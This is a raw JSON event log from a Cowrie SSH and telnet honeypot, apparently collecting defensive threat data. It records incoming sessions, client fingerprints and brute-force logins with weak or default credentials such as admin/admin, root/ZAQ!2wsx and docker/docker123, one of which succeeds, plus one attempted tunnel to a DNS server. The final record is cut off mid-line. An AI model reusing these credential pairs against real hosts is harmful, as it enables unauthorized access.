{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:32:57.647845Z","src_ip":"45.156.87.147","session":"804d68b1a93f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.189.235.114","src_port":48076,"dst_ip":"159.203.135.109","dst_port":22,"session":"bd7a2974600b","protocol":"ssh","message":"New connection: 103.189.235.114:48076 (159.203.135.109:22) [session: bd7a2974600b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:32:57.925463Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:32:57.958768Z","src_ip":"103.189.235.114","session":"bd7a2974600b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:32:58.204274Z","src_ip":"103.189.235.114","session":"bd7a2974600b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fisica","password":"fisica123","message":"login attempt [fisica/fisica123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:32:59.184386Z","src_ip":"103.189.235.114","session":"bd7a2974600b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:33:00.434572Z","src_ip":"103.189.235.114","session":"bd7a2974600b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":7868,"dst_ip":"10.17.0.5","dst_port":22,"session":"b00b942b6f59","protocol":"ssh","message":"New connection: 87.251.64.176:7868 (10.17.0.5:22) [session: b00b942b6f59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:33:00.573721Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:33:00.578066Z","src_ip":"87.251.64.176","session":"b00b942b6f59","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:33:00.673696Z","src_ip":"87.251.64.176","session":"b00b942b6f59","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:33:00.962687Z","src_ip":"87.251.64.176","session":"b00b942b6f59","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:33:01.059878Z","session":"b00b942b6f59","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:33:01.156227Z","src_ip":"87.251.64.176","session":"b00b942b6f59","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:33:01.257777Z","src_ip":"87.251.64.176","session":"b00b942b6f59","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":44662,"dst_ip":"10.17.0.5","dst_port":22,"session":"1c4c2c11644c","protocol":"ssh","message":"New connection: 45.156.87.147:44662 (10.17.0.5:22) [session: 1c4c2c11644c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:33:02.016730Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:33:02.024900Z","src_ip":"45.156.87.147","session":"1c4c2c11644c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:33:02.110683Z","src_ip":"45.156.87.147","session":"1c4c2c11644c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"runner","password":"test","message":"login attempt [runner/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:33:02.364627Z","src_ip":"45.156.87.147","session":"1c4c2c11644c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:33:03.451639Z","src_ip":"45.156.87.147","session":"1c4c2c11644c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":44680,"dst_ip":"10.17.0.5","dst_port":22,"session":"dbb3ef5bb6d6","protocol":"ssh","message":"New connection: 45.156.87.147:44680 (10.17.0.5:22) [session: dbb3ef5bb6d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:33:07.705513Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:33:07.709772Z","src_ip":"45.156.87.147","session":"dbb3ef5bb6d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:33:07.790729Z","src_ip":"45.156.87.147","session":"dbb3ef5bb6d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sonar","password":"sonar","message":"login attempt [sonar/sonar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:33:08.037181Z","src_ip":"45.156.87.147","session":"dbb3ef5bb6d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:33:09.174388Z","src_ip":"45.156.87.147","session":"dbb3ef5bb6d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":39696,"dst_ip":"159.203.135.109","dst_port":23,"session":"0d1c7024d86c","protocol":"telnet","message":"New connection: 128.199.8.54:39696 (159.203.135.109:23) [session: 0d1c7024d86c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:33:09.419365Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":58156,"dst_ip":"10.17.0.5","dst_port":22,"session":"847546e26d6c","protocol":"ssh","message":"New connection: 45.156.87.147:58156 (10.17.0.5:22) [session: 847546e26d6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:33:13.676713Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:33:13.679936Z","src_ip":"45.156.87.147","session":"847546e26d6c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:33:13.767085Z","src_ip":"45.156.87.147","session":"847546e26d6c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo17","password":"odoo","message":"login attempt [odoo17/odoo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:33:14.117331Z","src_ip":"45.156.87.147","session":"847546e26d6c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:33:15.201004Z","src_ip":"45.156.87.147","session":"847546e26d6c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":52368,"dst_ip":"10.17.0.5","dst_port":22,"session":"45421a46d6bb","protocol":"ssh","message":"New connection: 45.156.87.147:52368 (10.17.0.5:22) [session: 45421a46d6bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:33:19.718180Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:33:19.722613Z","src_ip":"45.156.87.147","session":"45421a46d6bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:33:19.807825Z","src_ip":"45.156.87.147","session":"45421a46d6bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"docker","password":"docker123","message":"login attempt [docker/docker123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:33:20.062148Z","src_ip":"45.156.87.147","session":"45421a46d6bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.219.200.1","src_port":58508,"dst_ip":"10.17.0.5","dst_port":22,"session":"adde804cb064","protocol":"ssh","message":"New connection: 8.219.200.1:58508 (10.17.0.5:22) [session: adde804cb064]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:33:20.289313Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:33:21.195376Z","src_ip":"45.156.87.147","session":"45421a46d6bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:33:25.123606Z","src_ip":"8.219.200.1","session":"adde804cb064","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":52386,"dst_ip":"10.17.0.5","dst_port":22,"session":"d5f5e40839a2","protocol":"ssh","message":"New connection: 45.156.87.147:52386 (10.17.0.5:22) [session: d5f5e40839a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:33:25.405888Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:33:25.409924Z","src_ip":"45.156.87.147","session":"d5f5e40839a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:33:25.493739Z","src_ip":"45.156.87.147","session":"d5f5e40839a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ZAQ!2wsx","message":"login attempt [root/ZAQ!2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:33:25.738297Z","src_ip":"45.156.87.147","session":"d5f5e40839a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:33:26.827845Z","src_ip":"45.156.87.147","session":"d5f5e40839a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":34262,"dst_ip":"10.17.0.5","dst_port":22,"session":"304c38d00c6b","protocol":"ssh","message":"New connection: 45.156.87.147:34262 (10.17.0.5:22) [session: 304c38d00c6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:33:31.337910Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:33:31.343091Z","src_ip":"45.156.87.147","session":"304c38d00c6b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"